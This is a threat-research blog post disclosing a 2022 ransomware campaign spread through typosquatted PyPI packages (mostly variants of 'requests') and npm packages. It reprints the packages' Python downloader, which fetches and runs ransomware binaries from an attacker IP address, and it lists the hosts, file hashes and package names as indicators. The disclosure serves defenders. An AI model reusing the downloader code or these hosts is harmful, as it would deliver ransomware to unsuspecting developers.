Skip to content

Phylum Detects Ongoing Typosquat/Ransomware Campaign in PyPI and NPM

Malicious packages that download ransomware binaries written in Golang published today, with more expected in the coming hours.

Published on

Dec 09, 2022

Written by

Louis Lang, CTO

Share

An Ongoing Attack Against Python and Javascript Developers

Update Dec 13: Malware author continues to publish packages to PyPI. We identified these packages within 20m of publication and got them removed.

Update Dec 09: This actor is now active in NPM and has begun publishing packages there as well.

Overnight we saw a flurry of activity around typosquats of the popular Python requests package. In the malicious packages themselves the attacker has embedded the following:


def execute():
    operating_system = platform.system().lower()

    all_executables = []
    req = requests.get('http://35.235.126.33/all.txt')
    for line in req.text.splitlines():
        if operating_system in line:
            line = line.strip()
            all_executables.append(line)

    for executable in all_executables:
        url = f'http://35.235.126.33/{executable}'
        req = requests.get(url)
        with open(executable, 'wb') as f:
            f.write(req.content)

        if 'linux' in operating_system or 'darwin' in operating_system:
            os.system(f'chmod +x {executable}')

        if 'linux' in operating_system:
            os.system(f'./{executable} &')
        elif 'darwin' in operating_system:
            os.system(f'./{executable} &')
        elif 'windows' in operating_system:
            os.system(f'start "cia" {executable}')

The initial request reaches out to the following host to fetch a list of available binaries.


http://35.235.126.33/all.txt

Where, depending on the architecture of the victim’s OS, one of the following Golang binaries will be downloaded.


cia.darwin.amd64
cia.darwin.arm64
cia.linux.386
cia.linux.amd64
cia.linux.arm
cia.linux.arm64
cia.linux.mips
cia.linux.mips64
cia.linux.mips64le
cia.linux.mipsle
cia.linux.ppc64
cia.linux.ppc64le
cia.linux.riscv64
cia.linux.s390x
cia.windows.386.exe
cia.windows.amd64.exe
cia.windows.arm.exe
cia.windows.arm64.exe

Virus total has marked these binaries as malware. The SHA1 hashes are as follows:


4e5455caf9e5499e82b8ae6ecfdb69556dd780d8  cia.linux.ppc64le
85b35a6b5901283d7f4b52061ff51664f3577aef  cia.linux.mips
56a57cba25825e2bafc3a5b458b7352729e60d97  cia.windows.arm.exe
8c9958b66f6aa22216c81ef63ce19d93cc1b114c  cia.darwin.amd64
36a081ee82331fb6862de59135560272c578ca1c  cia.linux.mipsle
361d5b350ca1a9b59773a06bb9805c7317afc1b0  cia.linux.riscv64
d14f4013f7ea153059bd6ad2de65ed10be048145  cia.windows.amd64.exe
25f28152bf75c229ebce8ffb90ecc669237896e9  cia.linux.arm64
6568ef35c5c93802de8009ac646e44f3c6881166  cia.linux.arm
e038c7cebccecf859cab3256d0d842f90247deea  cia.linux.ppc64
4c7009b7bc514180eedfe76e970ef64dfb629f81  cia.darwin.arm64
d154d8f263737f47d41bb0bb6663333ef7dac8e8  cia.linux.mips64le
cb7724df692a1da2cd1dde658c9e71286610c3d8  cia.linux.s390x
dd6c5f36f87f40ccb6f4940c31042303d9aa2b93  cia.linux.386
2a7b8736e2664a733b45dafd5e80435e48594be4  cia.linux.amd64
839e0bf35da3945558d8d999b2c71e8c11b05410  cia.windows.386.exe
9a1f8f4b78af721649e98aa87f6f4797f364d4cf  cia.linux.mips64

Apparently I'm In the CIA now?

This binary is ransomware. If you execute it on a machine it will update your desktop background and attempt to encrypt some of your files.

Screen Shot 2022-12-09 at 11.47.45

If you open the README generated by the malware you will see a message from the attacker asking for $100 in either BTC, ETH, LTC or XMR for the decryption key.

Screen Shot 2022-12-09 at 11.47.55The list of packages associated with this campaign are, thus far, as follows.

  • dequests
  • fequests
  • gequests
  • rdquests
  • reauests
  • reduests
  • reeuests
  • reqhests
  • reqkests
  • requesfs
  • requesta
  • requeste
  • requestw
  • requfsts
  • resuests
  • rewuests
  • rfquests
  • rrquests
  • rwquests
  • r1quests
  • r4quests
  • r3quests
  • r5quests
  • req7ests
  • req8ests
  • telnservrr
  • tequests

Attacker now active in NPM

It appears that this campaign is not isolated to PyPI. The attacker has also published several NPM packages that behave in a similar manner.

  • discordallintsbot
  • discordselfbot16
  • discord-all-intents-bot
  • discors.jd
  • discord-selfbot-v13
  • discord-all-intents-default
  • telnservrr

Each of these contain the Javacript equivalent of the code posted above in the Python packages:

We expect this list to continue to grow in coming hours for both NPM and PyPI.

Dec 13, 2022 Update: Attack continues

The attacker has remained active, publishing additional malware packages to PyPI. The latest packages were added to the list above, but the second stage is now being pulled from 34.94.72.179

The attacker also appears to have cut a new release of the ransomware, and limited the supported architectures.


a227bc1e67b3fee42f6236f858d75269e2e684db  cia.windows.arm.exe
254361d4af8c6100d780f25a16208bb5a247005a  cia.darwin.amd64
bd8dd89c484b8c171bc6fa77ba0823eaecc59a4d  cia.windows.amd64.exe
9b14fb911d72eebc444e217bde99f2b304ba6752  cia.linux.arm64
a6390871b17b96767309644d421a83965b6031c9  cia.linux.arm
edddbf8df94d1369bc3e30dea76858dff4aa3be0  cia.darwin.arm64
61fd16cf9c6a5de02fbdb6e6d7240a00a4a62d7b  cia.linux.386
e7788b2df21a2729ee261cfcc0c2a17c7e458a61  cia.linux.amd64
b677d3014f859dcea992ca94283e3505b000cfef  cia.windows.386.exe

Subscribe to Our Research

Subscribe to Our Research

Latest Articles

Phylum Identifies 102 Malicious npm Packages
  |   Jan 29, 2023

Phylum Identifies 102 Malicious npm Packages

102 malicious packages were recently published to npm that exfiltrat...

A Deep Dive Into poweRAT: a Newly Discovered Stealer/RAT Combo Polluting PyPI
Research   |   Jan 05, 2023

A Deep Dive Into poweRAT: a Newly Discovered Stealer/RAT Combo Polluting PyPI

Phylum uncovers new PyPI malware distributing remote access tools.

Phylum detects a series of suspicious publications on NPM…again
Malware   |   Dec 30, 2022

Phylum detects a series of suspicious publications on NPM…again

Phylum platform continues to automatically identify and block risks ...